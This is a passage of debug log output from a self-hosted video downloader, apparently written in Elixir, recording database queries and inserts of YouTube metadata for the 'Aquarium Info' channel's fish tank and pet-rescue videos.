Bottom and a secret bunker, so I had to do something epic for my new pet bait store crab, Nibbles!\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nIn this heartwarming episode, we embark on a rescue mission to save a bait store crab named Nibbles from becoming live bait for a fish. Witness her incredible journey back to health as we bring her home and build a massive saltwater ecosystem for her, complete with a 3D printed cave system. \n\nWatch until the end to see what Nibbles thinks of her new home. This video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, live bait stores, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this bait store rescue video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"RIP Noodle\" so I notice you 👼 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "Raising a Bait Shop Crab as a Pet...", "zrKIOAlWW9g", "https://www.youtube.com/watch?v=zrKIOAlWW9g", 32, 681, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e083100 - Raising a Bait Shop Crab as a Pet....mkv", false, ~U[2025-08-31 21:48:14Z]] 11:13:03.606 [debug] QUERY OK source="sources" db=0.2ms idle=57.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:13:03.606 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:13:03.607 [debug] QUERY OK source="media_items" db=0.2ms idle=3.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [116188] 11:13:03.607 [debug] Current batch of media processed. Will check again in 1000ms 11:13:04.607 [debug] Current batch of media processed. Will check again in 1000ms 11:13:05.609 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "I built a HUGE ecosystem in my bedroom! Book your next trip today with Klook on desktop or via the mobile app with my code AQUARIUMINFO for a 10% discount! Thanks Klook for sponsoring this video 🥰\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nA special thank you to our favorite sushi chefs at Sushi Ko Honten in Koto City, Tokyo for a 5 star sushi omakase experience. We couldn’t have done it without you guys!\n\nSUBSCRIBE for a chance at the PS5\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nThis is our longest episode yet - grab your popcorn! Watch as me and Joelle transform Adam’s bedroom into a DREAM $10,000 bedroom. This bedroom makeover captures an insane ecosystem transformation and I can’t wait for you to see the end result. It’s my dream bedroom transformation! Our ecosystem is teeming with life, from tiny toads, creepy bugs, live fish to deadly predators like the crested gecko. I’ve finally achieved my childhood dream of an extreme bedroom makeover!\n\nIf you have any comments, suggestions or questions for this ecosystem transformation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Go Sweetie!\" so I notice you 🦎\n\nIf you love fish and fish tanks check out my other videos!\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- Built a Maze for my Turtle to Escape… \n- I Built SpongeBob in a Fish Tank!\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- Did Wednesday Addams Lie?\n- I Built LEGO Minecraft for a Real Axolotl", "duration" => 1022, "filename" => "/downloads/shows/Aquarium Info/Season 2025/s2025e080900 - I Turned a Bedroom Into a Jungle!.mkv", "id" => "Nndy5il35l4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Nndy5il35l4", "playlist_index" => 9, "timestamp" => 1754757440, "title" => "I Turned a Bedroom Into a Jungle!", "upload_date" => "20250809"} 11:13:05.611 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=914.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [32] 11:13:05.612 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=916.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:13:05.613 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=917.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-09 16:37:20Z], 32] 11:13:05.615 [debug] QUERY OK source="media_items" db=1.3ms idle=918.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I built a HUGE ecosystem in my bedroom! Book your next trip today with Klook on desktop or via the mobile app with my code AQUARIUMINFO for a 10% discount! Thanks Klook for sponsoring this video 🥰\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nA special thank you to our favorite sushi chefs at Sushi Ko Honten in Koto City, Tokyo for a 5 star sushi omakase experience. We couldn’t have done it without you guys!\n\nSUBSCRIBE for a chance at the PS5\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nThis is our longest episode yet - grab your popcorn! Watch as me and Joelle transform Adam’s bedroom into a DREAM $10,000 bedroom. This bedroom makeover captures an insane ecosystem transformation and I can’t wait for you to see the end result. It’s my dream bedroom transformation! Our ecosystem is teeming with life, from tiny toads, creepy bugs, live fish to deadly predators like the crested gecko. I’ve finally achieved my childhood dream of an extreme bedroom makeover!\n\nIf you have any comments, suggestions or questions for this ecosystem transformation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Go Sweetie!\" so I notice you 🦎\n\nIf you love fish and fish tanks check out my other videos!\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- Built a Maze for my Turtle to Escape… \n- I Built SpongeBob in a Fish Tank!\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- Did Wednesday Addams Lie?\n- I Built LEGO Minecraft for a Real Axolotl", "I Turned a Bedroom Into a Jungle!", "8620470b-a0d4-4a76-a190-3a527239fe36", "Nndy5il35l4", false, "https://www.youtube.com/watch?v=Nndy5il35l4", 32, [], 1022, false, 9, "/downloads/shows/Aquarium Info/Season 2025/s2025e080900 - I Turned a Bedroom Into a Jungle!.mkv", false, false, 98, ~U[2025-08-09 16:37:20Z], ~U[2026-06-03 15:13:05Z], ~U[2026-06-03 15:13:05Z], "I built a HUGE ecosystem in my bedroom! Book your next trip today with Klook on desktop or via the mobile app with my code AQUARIUMINFO for a 10% discount! Thanks Klook for sponsoring this video 🥰\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nA special thank you to our favorite sushi chefs at Sushi Ko Honten in Koto City, Tokyo for a 5 star sushi omakase experience. We couldn’t have done it without you guys!\n\nSUBSCRIBE for a chance at the PS5\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nThis is our longest episode yet - grab your popcorn! Watch as me and Joelle transform Adam’s bedroom into a DREAM $10,000 bedroom. This bedroom makeover captures an insane ecosystem transformation and I can’t wait for you to see the end result. It’s my dream bedroom transformation! Our ecosystem is teeming with life, from tiny toads, creepy bugs, live fish to deadly predators like the crested gecko. I’ve finally achieved my childhood dream of an extreme bedroom makeover!\n\nIf you have any comments, suggestions or questions for this ecosystem transformation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Go Sweetie!\" so I notice you 🦎\n\nIf you love fish and fish tanks check out my other videos!\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- Built a Maze for my Turtle to Escape… \n- I Built SpongeBob in a Fish Tank!\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- Did Wednesday Addams Lie?\n- I Built LEGO Minecraft for a Real Axolotl", "I Turned a Bedroom Into a Jungle!", "Nndy5il35l4", "https://www.youtube.com/watch?v=Nndy5il35l4", 32, 1022, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e080900 - I Turned a Bedroom Into a Jungle!.mkv", false, ~U[2025-08-09 16:37:20Z]] 11:13:05.616 [debug] QUERY OK source="sources" db=0.2ms idle=63.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:13:05.616 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:13:05.617 [debug] QUERY OK source="media_items" db=0.2ms idle=4.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [116189] 11:13:05.617 [debug] Current batch of media processed. Will check again in 1000ms 11:13:06.617 [debug] Current batch of media processed. Will check again in 1000ms 11:13:07.618 [debug] Current batch of media processed. Will check again in 1000ms 11:13:08.621 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "I built the world’s LARGEST Krusty Krab in a fish tank! #KCA #sponsored\n\nIn this episode, we build a hyper-realistic Krusty Krab inside a 15-foot long fish tank, featuring my favorite 3D printed SpongeBob houses: The Krusty Krab! At the end, we reveal it at the @Nickelodeon Kids’ Choice Awards and see reactions from your favorite YouTubers @airrack @MatthewBeem @PrestonYT @BriannaYT @a.j.befumo @IBella @annamcnulty @StephenSharer.\n\nCheck out the FAB365 store for EPIC SpongeBob 3D prints here: https://fab365.net/search?q=spongebob. We’ve modified SpongeBob, Patrick and Squidward’s houses to be nearly 3ft tall and now the iconic Krusty Krab!\n\nA special thank you to Labriola Ristorante in Oak Brook for becoming our Krusty Krab kitchen in real life and Nic from @InfinityAquariums for the incredible collaboration on this massive, showstopping piece. We couldn’t have done it without you guys!\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nThis giant real life Bikini Bottom aquarium celebrates the famous Nickelodeon Kids’ Choice Awards and includes the iconic Krusty Krab, your favorite characters like SpongeBob, Plankton, Sandy Cheeks, Squidward and Mr Krabs and even realistic 3D printed jellyfish to honor Jellyfish Fields from SpongeBob SquarePants. We also 3D printed a hyper realistic Flying Dutchman! \n\nWatch Jamie build while Adam goes on a tidepool and scuba diving adventure to try and catch the iconic characters of SpongeBob, including Larry the Lobster, Mr Krabs and many more! Joelle is challenged to find the secret formula in a real life Krusty Krab kitchen and will teach you how to make a real life krabby patty! \n\nJamie Dalton - Aquarium Info has a history of building epic SpongeBob themed fish tanks on YouTube like when I built the Krusty Krab for a real life crab and when I built the Chum Bucket for real life Plankton. I also built the world’s largest Bikini Bottom in a fish tank!! Do you think I should build Sandy's treedome for a real life squirrel next?? \n\nIf you have any comments, suggestions or questions for this SpongeBob Nickelodeon video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Krusty Krab Pizza\" so I notice you 🍕 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- I Built Bikini Bottom in a Fish Tank!\n- I Got a Pet Dragon…\n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl…\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "duration" => 695, "filename" => "/downloads/shows/Aquarium Info/Season 2025/s2025e071900 - I Built Bikini Bottom in a Fish Tank!.mkv", "id" => "WxUbc_UbDIk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=WxUbc_UbDIk", "playlist_index" => 10, "timestamp" => 1752933162, "title" => "I Built Bikini Bottom in a Fish Tank!", "upload_date" => "20250719"} 11:13:08.622 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1926.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [32] 11:13:08.623 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1927.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:13:08.625 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=1928.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-19 13:52:42Z], 32] 11:13:08.627 [debug] QUERY OK source="media_items" db=1.5ms idle=1070.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I built the world’s LARGEST Krusty Krab in a fish tank! #KCA #sponsored\n\nIn this episode, we build a hyper-realistic Krusty Krab inside a 15-foot long fish tank, featuring my favorite 3D printed SpongeBob houses: The Krusty Krab! At the end, we reveal it at the @Nickelodeon Kids’ Choice Awards and see reactions from your favorite YouTubers @airrack @MatthewBeem @PrestonYT @BriannaYT @a.j.befumo @IBella @annamcnulty @StephenSharer.\n\nCheck out the FAB365 store for EPIC SpongeBob 3D prints here: https://fab365.net/search?q=spongebob. We’ve modified SpongeBob, Patrick and Squidward’s houses to be nearly 3ft tall and now the iconic Krusty Krab!\n\nA special thank you to Labriola Ristorante in Oak Brook for becoming our Krusty Krab kitchen in real life and Nic from @InfinityAquariums for the incredible collaboration on this massive, showstopping piece. We couldn’t have done it without you guys!\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nThis giant real life Bikini Bottom aquarium celebrates the famous Nickelodeon Kids’ Choice Awards and includes the iconic Krusty Krab, your favorite characters like SpongeBob, Plankton, Sandy Cheeks, Squidward and Mr Krabs and even realistic 3D printed jellyfish to honor Jellyfish Fields from SpongeBob SquarePants. We also 3D printed a hyper realistic Flying Dutchman! \n\nWatch Jamie build while Adam goes on a tidepool and scuba diving adventure to try and catch the iconic characters of SpongeBob, including Larry the Lobster, Mr Krabs and many more! Joelle is challenged to find the secret formula in a real life Krusty Krab kitchen and will teach you how to make a real life krabby patty! \n\nJamie Dalton - Aquarium Info has a history of building epic SpongeBob themed fish tanks on YouTube like when I built the Krusty Krab for a real life crab and when I built the Chum Bucket for real life Plankton. I also built the world’s largest Bikini Bottom in a fish tank!! Do you think I should build Sandy's treedome for a real life squirrel next?? \n\nIf you have any comments, suggestions or questions for this SpongeBob Nickelodeon video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Krusty Krab Pizza\" so I notice you 🍕 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- I Built Bikini Bottom in a Fish Tank!\n- I Got a Pet Dragon…\n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl…\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Built Bikini Bottom in a Fish Tank!", "df755a93-534f-4ccf-90c5-21acf7498537", "WxUbc_UbDIk", false, "https://www.youtube.com/watch?v=WxUbc_UbDIk", 32, [], 695, false, 10, "/downloads/shows/Aquarium Info/Season 2025/s2025e071900 - I Built Bikini Bottom in a Fish Tank!.mkv", false, false, 98, ~U[2025-07-19 13:52:42Z], ~U[2026-06-03 15:13:08Z], ~U[2026-06-03 15:13:08Z], "I built the world’s LARGEST Krusty Krab in a fish tank! #KCA #sponsored\n\nIn this episode, we build a hyper-realistic Krusty Krab inside a 15-foot long fish tank, featuring my favorite 3D printed SpongeBob houses: The Krusty Krab! At the end, we reveal it at the @Nickelodeon Kids’ Choice Awards and see reactions from your favorite YouTubers @airrack @MatthewBeem @PrestonYT @BriannaYT @a.j.befumo @IBella @annamcnulty @StephenSharer.\n\nCheck out the FAB365 store for EPIC SpongeBob 3D prints here: https://fab365.net/search?q=spongebob. We’ve modified SpongeBob, Patrick and Squidward’s houses to be nearly 3ft tall and now the iconic Krusty Krab!\n\nA special thank you to Labriola Ristorante in Oak Brook for becoming our Krusty Krab kitchen in real life and Nic from @InfinityAquariums for the incredible collaboration on this massive, showstopping piece. We couldn’t have done it without you guys!\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nThis giant real life Bikini Bottom aquarium celebrates the famous Nickelodeon Kids’ Choice Awards and includes the iconic Krusty Krab, your favorite characters like SpongeBob, Plankton, Sandy Cheeks, Squidward and Mr Krabs and even realistic 3D printed jellyfish to honor Jellyfish Fields from SpongeBob SquarePants. We also 3D printed a hyper realistic Flying Dutchman! \n\nWatch Jamie build while Adam goes on a tidepool and scuba diving adventure to try and catch the iconic characters of SpongeBob, including Larry the Lobster, Mr Krabs and many more! Joelle is challenged to find the secret formula in a real life Krusty Krab kitchen and will teach you how to make a real life krabby patty! \n\nJamie Dalton - Aquarium Info has a history of building epic SpongeBob themed fish tanks on YouTube like when I built the Krusty Krab for a real life crab and when I built the Chum Bucket for real life Plankton. I also built the world’s largest Bikini Bottom in a fish tank!! Do you think I should build Sandy's treedome for a real life squirrel next?? \n\nIf you have any comments, suggestions or questions for this SpongeBob Nickelodeon video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Krusty Krab Pizza\" so I notice you 🍕 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- I Built Bikini Bottom in a Fish Tank!\n- I Got a Pet Dragon…\n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl…\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned 